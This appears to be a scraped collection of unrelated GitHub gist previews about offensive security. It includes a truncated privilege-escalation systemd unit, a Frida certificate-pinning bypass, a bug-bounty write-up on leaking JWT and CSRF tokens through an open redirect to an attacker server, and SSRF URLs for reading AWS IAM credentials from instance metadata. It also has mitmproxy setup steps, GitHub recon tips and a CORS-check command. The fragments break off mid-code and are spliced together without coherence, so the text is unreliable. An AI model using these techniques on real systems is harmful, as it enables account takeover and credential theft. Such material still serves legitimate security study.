This is a gist used in the following blog posts:
https://alvinsmith.gitbook.io/progressive-oscp/untitled/vulnversity-privilege-escalation
[Unit]
Description=roooooooooot
[Service]
Type=simple
Java.perform(function() { | |
console.log('\n[.] Cert Pinning Bypass'); | |
// Create a TrustManager that trusts everything | |
console.log('[+] Creating a TrustyTrustManager that trusts everything...'); | |
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager'); | |
var TrustyTrustManager = Java.registerClass({ | |
name: 'com.example.TrustyTrustManager', | |
implements: [X509TrustManager], | |
methods: { |
An open redirect was almost everything I needed in two different bug bounty programs to get access to user accounts. In one of the cases a JWT was leaked, and in the other the CSRF token was leaked. The issue was mostly the same in both cases: not validating, or URI encoding, user input in the client-side, and sending sensitive information to my server using an open redirect.
- There is an open redirect on https://example.com/redirect?url=https://myserver.com/attack.php
- User loads https://example.com/?code=VALUE
- Javascript code in https://example.com/ makes a GET request to https://example.com/verify/VALUE with a header
x-csrf-token
set to the CSRF token for the session of the userGET /verify/VALUE HTTP/1.1 Host: example.com
@ | |
_ | |
0 | |
00 | |
01 | |
02 | |
03 | |
04 | |
05 | |
06 |
-
After installing mitmproxy run it (just type
mitmproxy
) in a terminal session and quit. This will create the necessaries certificates files at~/.mitmproxy
. -
Extract the certificate to
.crt
format:
openssl x509 -in ~/.mitmproxy/mitmproxy-ca.pem -inform PEM -out ca.crt
-
Trust the certificate into CA:
sudo trust anchor ca.crt
-
Run the
mitmproxy
again
## AWS | |
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories | |
http://169.254.169.254/latest/user-data | |
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] | |
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME] | |
http://169.254.169.254/latest/meta-data/ami-id | |
http://169.254.169.254/latest/meta-data/reservation-id | |
http://169.254.169.254/latest/meta-data/hostname | |
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key |
GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.
You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.
$ python githubcloner.py --org organization -o /tmp/output
curl -I -X OPTIONS \ | |
-H "Origin: http://EXAMPLE.COM" \ | |
-H 'Access-Control-Request-Method: GET' \ | |
http://EXAMPLE.COM/SOMETHING 2>&1 | grep 'Access-Control-Allow-Origin' |